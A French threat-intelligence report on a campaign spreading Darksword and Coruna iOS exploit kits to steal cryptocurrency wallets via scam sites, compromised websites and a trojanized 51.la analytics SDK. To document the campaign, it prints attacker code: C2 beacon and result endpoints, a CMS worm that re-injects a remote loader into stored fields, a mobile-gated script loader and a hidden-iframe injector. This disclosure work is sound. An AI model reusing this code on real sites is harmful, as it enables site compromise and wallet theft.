NB : Le 7 octobre 2026, Censys a publié un article de blog présentant à peu près les mêmes outils et le même tradecraft (nous disposons toutefois de certains IOC exclusifs). Nous n'avions pas connaissance de ces informations lors de la rédaction de notre propre article, bien que nous le publions à une date ultérieure. Si ce mode opératoire vous intéresse, nous vous recommandons également la lecture de l'article de Censys.
Résumé
Notre investigation a mis au jour une opération à grande échelle servant à diffuser des chaînes d'exploitation iOS liées à Darksword et Coruna contre des utilisateurs de cryptomonnaies, par le biais de pages d'arnaque, de sites web légitimes compromis, d'une infrastructure de type watering hole et, potentiellement, de composants de la chaîne d'approvisionnement (supply chain) compromis.
Nous avons identifié plus de 1 300 sites web participant (volontairement ou non) à cette activité de diffusion, notamment des sites de cryptomonnaies, de jeux d'argent, de contenu pour adultes, ainsi que des sites légitimes compromis. Notre investigation a révélé environ 100 C2 associés à Coruna et une centaine d'autres domaines pseudo-aléatoires associés à l'infrastructure C2 initiale.
L'analyse d'un unique identifiant publicitaire a mis en évidence un autre cluster de plus de 3 000 domaines malveillants liés à FUNNULL (Triad Nexus), ainsi que l'utilisation probable de CDN compromis pour diffuser des payloads sur des sites tiers.
Le backend et le code source exposés ont également révélé des capacités d'exploitation iOS, de commande et contrôle (C2), de collecte de wallets et de keychain iOS, d'exfiltration de données, ainsi que des capacités de bruteforce des passphrases de wallets. L'ensemble met en lumière une infrastructure industrialisée, qui s'appuie largement sur l'IA pour le développement et l'amélioration des chaînes d'infection.

Point de départ
Nous avons identifié un open directory dont les noms de fichiers évoquaient l'exploitation iOS, le commande et contrôle (C2) et le vol de wallets de cryptomonnaies. Le répertoire était servi depuis l'IP 154.13.7[.]145 sur le port TCP 9999.
Une vérification de cette IP sur modat.io a révélé plusieurs services HTTP exposés. Le titre de l'une des pages, « 🩸 加密钱包守护者 - 管理后台 », se traduit par « 🩸 Gardien de wallets crypto - Tableau de bord d'administration ».

Le panneau exposé répertorie les appareils enrôlés ainsi que le statut du dernier beacon énvoyé, ce qui correspond à une interface de supervision destinée à l'opérateur.

Le panneau affichait quatre adresses IP sources. L'une d'elles était l'hôte C2 lui-même (154.13.7[.]145) ; deux autres correspondaient à des IP du fournisseur de proxys résidentiels AnyIP.
Le même hôte exposait également une seconde interface sur le port TCP 12580, intitulée « QQTIME C2 管理后台 » (« Backend de gestion C2 QQTIME »). Ses fonctions semblent davantage orientées vers la gestion des campagnes et des appareils que vers la simple supervision des beacons.

L'interface présente ensuite les capacités offertes par le malware et donne déjà des indications sur ce qui est ciblé : les wallets de cryptomonnaies.


Contenu de l'open directory récupéré
Au moment de l'analyse, l'acquisition locale contenait 216 fichiers et 28 répertoires à la racine. Au total (de manière récursive), elle comptait plus de 13 000 fichiers, pour environ 1,10 Go :
- 124 fichiers source Python, dont des utilitaires de patch d'infrastructure, de traitement de wallets et de post-exploitation ;
- 91 fichiers JavaScript, dont des agents C2, des scripts de delivery et des modules présentés comme des exploits ;
- 26 fichiers de logs, dont de volumineux logs HTTP et d'administration datés entre juillet et septembre 2026 ;
- deux arborescences de résultats, c2_results et capture_bundle, contenant des artefacts de wallets et de keychains, avec de nombreux doublons.
Nous ne détaillerons pas l'intégralité du contenu de l'open directory, ce qui serait trop long ; les analyses existantes de Darksword et de Coruna suffisent à comprendre le fonctionnement de l'ensemble de la chaîne d'exploitation (fingerprinting => RCE => PAC bypasss => escape de sandbox => installation du stealer). Le code est abondamment commenté et décrit à plusieurs reprises la chaîne visée. Ces commentaires constituent des pistes utiles, mais ne prouvent pas que chaque étape d'exploitation soit fonctionnelle.
#!/usr/bin/env python3
"""
Crypto Wallet Guardian - Admin Server v3.0
Serves admin panel, wallet scanner, C2 beacon, AKS oracle endpoints
Enhanced with securscope.com architecture:
- iOS 18.7 exploit chain (rce_worker_18.7.js + rce_module_18.7.js)
- PE worker sandbox escape (pe_worker.js)
- AKS Keychain Oracle (aks-oracle.js)
- SpringBoard C2 implant (c2-springboard.js)
- DARKSWORD AES-256-ECB C2 protocol
"""
import http.server
import json
import sqlite3
import hashlib
Le dépôt définit des structures internes STAGE_MAP et IOS_EXPLOIT_MAP. Il s'agit d'affirmations du développeur (ou de son IA), et non d'un inventaire d'exploits validé : plusieurs libellés, numéros de version et attributions de CVE sont en contradiction avec les référentiels publics de vulnérabilités.
STAGE_MAP = {
0: "fingerprint", # Detect iOS version
1: "webkit_rce", # WebKit JIT exploit
2: "sandbox_escape", # Break out of WebContent sandbox
3: "container_scan", # Enumerate app containers
4: "wallet_extract", # Extract wallet databases
5: "keychain_read", # Read keychain items
6: "exfil_complete", # Data exfiltration complete
}
# iOS version → exploit method mapping
IOS_EXPLOIT_MAP = {
13: {"webkit": "dfg_oob_2019", "sandbox": "voucher_swap", "kernel": "CVE-2019-8641"},
14: {"webkit": "structure_id", "sandbox": "oob_timestamp", "kernel": "CVE-2021-1782"},
15: {"webkit": "icache_poison", "sandbox": "XPC_relay", "kernel": "CVE-2022-32894"},
16: {"webkit": "ftl_confusion", "sandbox": "Triangulation", "kernel": "CVE-2023-32434"},
17: {"webkit": "dfg_array_push", "sandbox": "XPC_audio", "kernel": "CVE-2023-41990"},
18: {"webkit": "jit_type_conf", "sandbox": "IMessage_relay", "kernel": "CVE-2025-24086"},
19: {"webkit": "ftl_phi_node", "sandbox": "Mach_port_UAF", "kernel": "CVE-2026-11534"},
20: {"webkit": "layout_ng_conf", "sandbox": "IOKit_userclient","kernel": "CVE-2026-40123"},
21: {"webkit": "wasm_jit_bug", "sandbox": "driver_kit", "kernel": "CVE-2026-40890"},
22: {"webkit": "layout_ng2_conf", "sandbox": "ANE_relay", "kernel": "CVE-2026-40167"},
23: {"webkit": "ai_jit_conf", "sandbox": "Neural_engine", "kernel": "CVE-2026-50138"},
24: {"webkit": "webcodecs_heap", "sandbox": "media_service", "kernel": "CVE-2026-50721"},
25: {"webkit": "wasm_gc_conf", "sandbox": "CFPrefs_relay", "kernel": "CVE-2026-60145"},
26: {"webkit": "neural_jit", "sandbox": "XPC_tccd", "kernel": "CVE-2026-80123"},
Chaque ligne associe une version majeure d'iOS à une exécution WebKit, une escape de sandbox et une élévation de privilèges kernel. Le tableau ci-dessous distingue les éléments plausibles ou documentés publiquement des affirmations non étayées. À titre d'exemple, Apple est passé directement d'iOS 18 à iOS 26 : les lignes étiquetées iOS 19 à 25 ne peuvent donc correspondre à aucune version majeure publiée.
La présence d'un nom ou d'une CVE dans cette table ne prouve pas l'existence d'un code d'exploitation fonctionnel. Les cibles évidentes de ces exploits sont les wallets de cryptomonnaies présents sur les iPhone visés. Ce kit d'exploitation répertorie 18 wallets ciblés parmi lesquels : Trust Wallet, MetaMask, Coinbase, Binance Web3, Phantom, Exodus, Blockchain.com, Keplr, OKX/Bitget, etc.
Le fichier c2_agent_decoded.js contient le domaine iosxq[.]top pour le beaconing et l'envoi des résultats :
// C2 Agent Payload - persistent loop in SpringBoard
// Communicates with command.py via HTTP, runs until reboot
// https://iosxq.top/beacon / https://iosxq.top/result replaced by server.py at load time
// UUID and device model are obtained natively at runtime
const C2_BEACON_URL = "https://iosxq.top/beacon";
const C2_RESULT_URL = "https://iosxq.top/result";
const C2_CHANNEL_CODE = "";
const HQ_API_BASE = "https://iosxq.top";
const HQ_WALLET_PORT = "443";
const MAX_FILE_SIZE = 2 * 1024 * 1024;
const CHUNK_SIZE = 1024 * 1024;
Une fois l'ensemble de la chaîne d'exploitation exécuté, la persistance est assurée par l'injection d'une charge « agent C2 » dans le SpringBoard (le processus de l'interface/UI d'iOS). Il s'agit d'un malware JavaScript injecté dans un processus système (SpringBoard/configd), qui maintient une boucle de beaconing HTTPS jusqu'au redémarrage de l'appareil. Le code source analysé mentionne deux domaines supplémentaires :
- appvip[.]cyou : un tableau de bord d'administration reposant sur FastAPI, qui héberge également des fichiers présentés comme des exploits ainsi que des contenus leurres sur le thème du trading ;
sessions = {}
devices_cache = []
app = FastAPI(title="appvip.cyou Backend", docs_url=None, redoc_url=None)
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"])
- securscope[.]com : un libellé utilisé par le serveur local pour les composants de diffusion d'exploits et d'extraction de wallets. Le code source montre la logique de routage et de chiffrement, mais ne prouve pas à lui seul que le domaine public ait effectivement servi ces fichiers.
Aussi, d'après un commentaire présent dans le fichier C2-springboard.js, les fichiers auraient probablement été volés depuis securscope[.]com, puis reverse avant d'être réutilisés.
# === SECURSCOPE MODULES (securscope.com architecture) ===
if path == "/aks-oracle.js":
self._serve_file(STATIC_DIR / "aks-oracle.js", "application/javascript")
return
if path == "/c2-springboard.js":
self._serve_file(STATIC_DIR / "c2-springboard.js", "application/javascript")
return
if path == "/securscope-exploit-loader.js":
self._serve_file(STATIC_DIR / "securscope-exploit-loader.js", "application/javascript")
return
# Securscope exploit payloads (large files)
if path == "/rce_worker_18.7.js":
self._serve_file(STATIC_DIR / "rce_worker_18.7.js", "application/javascript")
return
Nous avons également identifié un fichier nommé ios_exploit_fallback.js. Cet échantillon est fortement obfusqué et structurellement identique au kit d'exploitation Coruna (qu'il s'agisse d'une version antérieure ou d'un fork modifié du kit). Il intègre son propre ensemble de C2, utilisés pour récupérer les charges des étapes suivantes :
Nous avons par ailleurs identifié au moins 102 domaines C2 liés à Coruna correspondant au même motif. Ils résolvent tous vers des IP Cloudflare (AS13335). Nous les considérons tous comme malveillants, et certains sont déjà signalés comme tels. La liste complète des C2 sera ajoutée à notre GitHub.
Infrastructure
Les fichiers de déploiement locaux identifient appvip[.]cyou comme le service d'administration basé sur FastAPI et contiennent des identifiants du panel hardcodés. L'adresse IP vers laquelle résolvait ce domaine au moment de l'enquête (202.95.13[.]219) exposait, sur le port 12580, une page de connexion mentionnant explicitement « qqtime ».
Cette page est celle de la « qqtime Operations Management Console » (console de gestion des opérations qqtime), une plateforme de gestion centralisée des appareils, de déploiement de tâches et de supervision des journaux de communication.

Quelques pivots sur modat.io, à partir de résolutions DNS directes (forward DNS) des domaines identifiés sur l'IP initiale (202.95.13[.]219), nous ont permis de mettre au jour un cluster de nouveaux domaines et IP, tous hébergés dans la même AS Hongkongaise : AS152194.

En l'absence de référence open source identifiable (au moment de la rédaction) du framework « qqtime », et compte tenu de son utilisation observée dans des opérations malveillantes, il pourrait s'agir d'un panneau d'administration développé en privé ou revendu, utilisé par des opérateurs déployant des outils tels que « Darksword » et « Coruna » dans le cadre d'opérations d'arnaque aux cryptomonnaies et de jeux d'argent.
Vous trouverez ci-dessous la liste des domaines identifiés et directement liés au backend appvip[.]cyou :
Par ailleurs, en pivotant sur les données de passif DNS associées à l'IP 154.13.7[.]145 (le premier C2 découvert), nous avons découvert une centaine de domaines .info pseudo-aléatoires. Ils seront ajoutés à notre GitHub.
À la date couverte par les données de l'investigation, iosxq[.]top résolvait vers 134.122.155[.]246. Des pivots sur le certificat TLS ont permis d'identifier deux hôtes voisins présentant le même certificat. Ces IP appartiennent au même AS, déjà identifié à de nombreuses reprises dans ce rapport. Certaines sont déjà détectées comme open directories et exposent, bien entendu, plus ou moins les mêmes pages web utilisées pour diffuser Darksword / Coruna.
Une infrastructure pas si légitime
Pris dans leur ensemble, les interfaces et le code source révèlent un système conçu pour monitorer des appareils compromis, collecter des données de wallets et prendre en charge des processus de récupération et bruteforce de passphrases. Le code démontre ces capacités, mais les éléments disponibles ne permettent d'établir ni le nombre d'appareils touchés, ni si chaque étape d'exploitation a réellement fonctionné.
Il reste cependant une question analytique : comment les cibles sont-elles orientées vers les charges présentées comme des exploits ?
Nous avons identifié au moins 3 sites web ayant contacté iosxq[.]top :
- amormxa[.]com présentait un parcours d'inscription pour un site de rencontre, suivi d'une étape de « vérification du wallet » demandant les phrases de récupération ou les clés privées sous prétexte de recevoir des récompenses. Il s'agit davantage d'une arnaque directe d'hameçonnage de passphrases.
- wemart[.]com, wenchaogroup[.]com et wenchaogroup[.]cn semblaient être des propriétés légitimes du groupe WenChao. Ils doivent donc être considérés comme une infrastructure potentiellement compromise plutôt que comme des domaines appartenant à l'acteur, sauf si des éléments (non identifiés) relatifs à l'enregistrement ou au contrôle administratif indiquent le contraire.

Nous avons également récupéré un fichier nommé safari-pop.js, qui tente de faire basculer les utilisateurs du navigateur intégré de Facebook/Instagram vers Safari au moyen d'une passerelle par QR code via iosxq[.]top/qr-go, et qui remonte des événements vers l'endpoint /api/v2/ingest. Cette infrastructure fait partie du même cluster qu'amormxa[.]com et nous avons également observé le domaine loveguo88[.]blog déployer ce qui semble être un loader ShellA, potentiellement lié au RAT Android PanDa, déjà identifié par Intel471. Il s'agit toutefois d'une investigation différente que nous aurons peut-être l'occasion de documenter ultérieurement.
Le vecteur d'accès initial des deux sites d'entreprise apparemment compromis reste inconnu.
L'artefact lié à wemart[.]com contient, dans wm-worm.js, un mécanisme de persistance propre au site. Celui-ci vérifie la présence d'une session administrateur authentifiée, lit des enregistrements via les API d'extensions du CMS et insère le loader iosxq[.]top/c2-inject.js devant neuf champs stockés en base de données.
function beacon(kv) {
try { (new Image()).src = 'https://iosxq.top/d.txt?wm_worm=' + kv + '&r=' + Math.random(); } catch (e) {}
}
/* 治愈一个插件表: 拉全量行, 缺失标签的字段原文前置 TAG 后回写(部分更新, 其他字段不动) */
function heal(addon, field, done) {
xhrGet('/addons/execute/wc_web-' + addon + '-index?page=1&limit=200', function (j) {
if (!j || !j.data || !j.data.length) { if (done) done(0); return; }
var rows = j.data, i = 0, edited = 0;
function next() {
if (i >= rows.length) { if (done) done(edited); return; }
var r = rows[i++];
var v = r[field] || '';
if (v.indexOf('c2-inject.js') >= 0) { next(); return; }
var d = { id: String(r.id) };
d[field] = TAG + v;
xhrPost('/addons/execute/wc_web-' + addon + '-edit', d, function (res) {
if (res && res.code === 1) edited++;
setTimeout(next, 400);
});
}
next();
});
}
Il en résulte des injections de scripts stockées auto-réparatrices : supprimer le loader d'un champ infecté ne suffit pas si un administrateur authentifié charge ensuite un autre enregistrement infecté, puisque le worm réécrit alors la balise.
/* 后台会话探测: 无会话 -> TP 302 到 Login 页(redirected), 有会话 -> 200 */
fetch('/admin/main/index.html', { credentials: 'include' }).then(function (r) {
if (r.redirected || r.status !== 200) return;
try {
if (sessionStorage.getItem('__wm_worm_run')) return;
sessionStorage.setItem('__wm_worm_run', '1');
} catch (e) {}
beacon('admin_hit');
step();
}).catch(function () {});
} catch (e) {}
})();
Le worm démontre un mécanisme de persistance et de propagation, mais n'explique pas l'accès initial. Parmi les prérequis plausibles figurent des identifiants administrateur compromis, l'abus d'un endpoint d'édition du CMS ou un accès distinct côté serveur. La présence de wm-worm.js dans le jeu de données côté serveur récupéré témoigne d'une intention de préparation (staging) ou de déploiement, mais ne prouve pas, à elle seule, la manière dont le site a été initialement compromis.
Hunting du framework “qqtime”
Une question demeurait : qqtime était-il un framework limité à notre cluster relativement restreint et au petit open directory que nous avions découvert, ou était-il utilisé beaucoup plus largement ?
Sans surprise, son exploitation est bien plus étendue que ce que nous avions initialement découvert. À titre d'exemple, nous avons identifié les requêtes suivantes sur un site web :
- GET to https[:]//js.apiforxwork[.]net/qqtime/qqtime.html
- GET to https[:]//js.apiforxwork[.]net/qqtime/34ef644ff217a50beadde64dc8e23a7d.js -> Darksword
- GET to https[:]//ipv4.icanhazip.com
- POST to https[:]//1x8gmjbdq3tepgr.icu/api/ip-sync/sync
Ce flux est cohérent avec les chaînes identifiées précédemment : appels au C2 principal qqtime, déploiement du kit d'exploitation Darksword / Coruna, vérification de l'IP via le service ipv4.icanhazip.com et, enfin, beaconing vers un domaine malveillant en .icu.
Nous avons identifié au moins 1 300 sites web ; la plupart sont des sites d'arnaque classiques (cryptomonnaies, jeux d'argent, sites pour adultes), mais on compte aussi des sites légitimes compromis utilisés comme watering holes (sites WordPress vulnérables ou compromissions de la supply-chain, impliquant souvent des paquets npm trojanisés).
Compte tenu de l'ampleur du phénomène, nous estimons qu'il ne s'agit que de la partie émergée de l'iceberg et qu'il existe vraisemblablement bien d'autres sites compromis.
NB : cette campagne est toujours très active, et il est possible d'identifier un très grand nombre de sites compromis ou malveillants déployant ces charges.
Un cluster “FUNNULL” cluster et un possible CDN compromis
En pivotant sur le titre de site web « 🩸 加密钱包守护者 - 管理后台 », nous avons identifié 86 autres domaines générés de manière pseudo-aléatoire.
Cela nous a permis d'identifier un nouveau cluster associé au domaine a.360doo[.]cn, qui associé à l'IP 103.20.220[.]36.
Cette IP héberge de nombreux domaines malveillants, et nous pensons qu'elle pourrait appartenir à un cluster voisin distinct (peut-être un même acteur malveillant gérant deux infrastructures distinctes). Certains des domaines ou sous-domaines identifiés ont été créés via des services de DNS dynamique connus (eu.org, ClouDNS, DigitalPlat, DNSExit ou Freenom).
Nous n'avons pas analysé l'ensemble de ces domaines mais, à titre d'exemple, le domaine suanjin[.]tk a été contacté depuis le site web http[:]//www[.]maoyingku3.me.
Avec iPhone doté de la version adéquate et d'un proxy situé en Asie, nous avons pu observer des tentatives d'infection Darksword. La chaîne d'infection complète observée est la suivante :
Tout d'abord, le fichier sdk.51.la/js-sdk-pro.min.js est servi sur le domaine principal sous la forme du SDK authentique (v1.58.5), auquel est ajouté un bloc obfusqué.
Le fichier est téléchargé depuis https[:]//sdk.51[.]la/js-sdk-pro.min.js.
C'est la version désobfusquée de ce script qui charge le premier JavaScript de la chaîne d'infection :
function is_mob() {
// Skip desktops: same platform gate as the Socket-documented loaders
if (!/^Mac|Win/.test(navigator.platform)) {
var ua = navigator.userAgent.toLowerCase();
return /(iphone|ipad|android|mobile|phone|tablet)/.test(ua);
}
return false;
}
function loadJS(url, cb) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.onload = cb || function () {};
s.src = url;
document.getElementsByTagName('head')[0].appendChild(s);
}
if (is_mob()) loadJS('https://cdn.data-2935[.]com/app.vue.js');
Lors de nos tentatives, les requêtes adressées à cdn.data-2935[.]com ont abouti à une réponse 301 « Moved Permanently ». Nous ne savons pas avec certitude s'il s'agissait du comportement attendu (nous le pensons), mais quoi qu'il en soit, la suite de la chaîne d'infection a continué de s'exécuter.
Ensuite, une frame secondaire est chargé depuis ce qui semble être un CDN, edgecdnstatic[.]com. La version désobfusquée de cette étape d'injection de type watering hole est présentée ci-dessous :
(function () {
function injectHiddenIframe() {
// Only inject once per page
if (document.getElementById('hidden-iframe')) return;
var iframe = document.createElement('iframe');
iframe.id = 'hidden-iframe';
// Math.random() busts caches so every visit fetches a fresh copy
iframe.src = 'hxxps://www.edgecdnstatic[.]com/start-view.html?' + Math.random();
// Make the iframe invisible and non-interactive
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '-1000px';
iframe.style.width = '0';
iframe.style.height = '0';
iframe.style.pointerEvents = 'none';
iframe.style.border = '0';
// Insert as the first element in <body>
if (document.body.firstChild) {
if (document.body.prepend) {
document.body.prepend(iframe);
} else {
document.body.insertBefore(iframe, document.body.firstChild);
}
} else {
document.body.appendChild(iframe);
}
}
// Run
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', injectHiddenIframe);
} else {
injectHiddenIframe();
}
})();
Le flux observé est le suivant :
- Navigate to http[:]//www[.]maoyingku3.me/
- GET to https[:]//sdk.51[.]la/js-sdk-pro.min.js => first stage injected iframe
- GET to https[:]//cdn.data-2935[.]com/app.vue.js => 301 moved permanently
- GET to https[:]//www[.]edgecdnstatic.com/98jgbibyeep2qfkvcq.html?0.9834193181307794 (through a secondary loaded frame) => 307 temporary redirect
- GET to https[:]//suduncdn[.]net/assets/js/group.html => 307 temporary redirect
- GET to https[:]//gewc61.cc/assets/js/group.html => final C2
Juste après, les charges Darksword sont demandées au C2 :
Un dernier beacon Cloudflare Web Analytics est envoyé au C2 (gewc61[.]cc) ; il transmet des métriques anonymes de performance de chargement de la page (temps de chargement, informations sur le navigateur et token du site). Lors de nos tentatives de récupération de la charge finale, il arrivait, dans certaines conditions, que nous soyons simplement redirigés vers une page de fraude publicitaire / de jeux d'argent telle que : https[:]//www.jcddha[.]vip:6600/register?agent_code={NUM}
Un seul identifiant Google Analytics mène à plus de 3 000 domaines malveillants
Ces acteurs malveillants diffusant et suivant leurs campagnes au moyen du malvertising, il est donc possible de récupérer les identifiants des campagnes et de les tracker. En nous basant uniquement sur l'identifiant Google Analytics « G-LNPJ2SD0MB », nous avons obtenu une liste de plus de 3 000 domaines malveillants. Nous estimons qu'il pourrait en réalité y en avoir bien davantage.
Ces sites web affichent généralement des pages liées à des contenus pour adultes (NSFW), de streaming ou de jeux d'argent en cryptomonnaies, avec parfois un bouton permettant de télécharger une application pour iOS ou Android.
À ce stade, il paraissait assez clair que l'ensemble de l'infrastructure associée à ce cluster correspondait aux TTPs de FUNNULL (Triad Nexus), un groupe déjà bien décrit par SilentPush ou socket.dev, qui a également détaillé la chaîne de diffusion reposant, à l'origine, sur la compromission de paquets npm.
51.la est un fournisseur chinois de services d'analytics web et de statistiques de trafic, populaire et établi de longue date, également connu sous le nom de « 我要啦 » (Woyao La). Il fournit un SDK utilisé pour le suivi du trafic, l'analyse de données web, l'optimisation SEO et d'autres fonctionnalités d'e-commerce et de marketing. Dans notre cas, nous pensons que la chaîne d'exploitation pourrait être liée à un CDN compromis (intentionnellement ou non) appartenant à cette société, puisque la première charge de SDK trojanisé était distribuée via une URL légitime : https[:]//sdk.51[.]la/js-sdk-pro.min.js. Il convient également de mentionner que l'un des CDN malveillants observés, edgecdnstatic[.]com, fait partie d'une infrastructure liée à yunray[.]ai (un domaine identifié dans le rapport de socket.dev). L'adresse e-mail admin@yunray[.]ai est associée à plus de 400 domaines, tous malveillants. Selon SilentPush, Yunrai est l'un des noms/façades utilisés par le groupe FUNNULL, qui recourt à une image de marque professionnelle pour inspirer confiance.
Ci-dessous se trouve un exemple de canal Telegram identifié, qui fait la promotion de services de CDN avec protection et défense anti-DDoS. Évidemment, cette prétendue infrastructure est également largement monétisée aux dépens des clients…

Familles et variantes du même SDK trojanisé
Nous avons également identifié 52 variantes trojanisées de sdk.51.la/js-sdk-pro.min.js, observées en circulation et déployées sur les sites web suivants :
Les familles identifiées et leurs noms sont propres à cette investigation et pas spécialement documentées en source-ouvertes. Elle sont expliquées plus en détail sur notre GitHub pour les plus curieux.
Conclusion
Au cours de nos recherches, nous avons également identifié un nombre important d'autres clusters de serveurs diffusant des charges liées à Darksword ou à Coruna. La plupart de ces charges sont déjà connues et bien documentées, mais l'ampleur de l'infrastructure qui les déploie, ainsi que le ciblage de la supply-chain (paquets npm, CDN compromis, watering holes) pour les diffuser, est véritablement stupéfiante.
Bon nombre des charges identifiées présentent des signes évidents de développement assisté par IA, et certains serveurs exposent directement des traces du travail automatisé d'un agent portant sur le déploiement, la recherche de vulnérabilités ou la weaponisation de ces charges. La prochaine étape consistera bien sûr à dériver ces kits d'exploitation pour cibler des versions encore plus récentes d'iOS. Dans un cas, par exemple, nous avons également récupéré des charges associées à des vulnérabilités pour lesquelles aucun PoC publique n'existait au moment de l'analyse.
Nous ne sommes pas certains de l'efficacité de ces charges ; cela illustre toutefois une tendance croissante au développement accéléré grâce aux LLM de vulnérabilités n-day. Ce dont nous sommes certains, en revanche, c'est que la fuite des kits d'exploitation Darksword et Coruna, révélée par les équipes de Google, est particulièrement alarmante et survient au pire moment, étant donné que :
- des agents IA autonomes compromettent des sites web ou infectent des paquets npm à grande échelle ;
- des sites compromis servent à déployer des kits d'exploitation très sophistiqués, permettant même à des acteurs peu qualifiés de lancer des attaques iOS zero-click ;
- un très grand nombre d'utilisateurs d'iPhone dans le monde utilisent (encore) d'anciens modèles qui ne peuvent plus recevoir de mises à jour de sécurité.
IOCs
https://github.com/OWNsecurity/Yet-Another-Darksword-Campain-Targeting-Cryptocurrency-Wallets
References
- https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
- https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
- https://www.lookout.com/news-release/lookout-uncovers-darksword-ios-exploit-chain
- https://www.iverify.com/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
- https://www.silentpush.com/blog/triad-nexus-funnull-2026/
- https://socket.dev/blog/packagist-themes-ios-spyware
- https://c2huntersresearch.com/blog/2026-09/inside-one-attackers-server/
- https://safedep.io/art-template-npm-supply-chain-compromise/
- https://securelist.com/coruna-framework-updated-operation-triangulation-exploit/119228/
- https://socket.dev/blog/coruna-respawned-compromised-art-template-npm-package
- https://github.com/khanhduytran0/coruna
- https://censys.com/blog/darksword-coruna-open-directory-finding-report/
- https://aviatrix.ai/threat-research-center/p7-darksword-ios-exploit-kit-crypto-wallet-theft-2026/
- https://c2huntersresearch.com/blog/2026-09/inside-one-attackers-server/






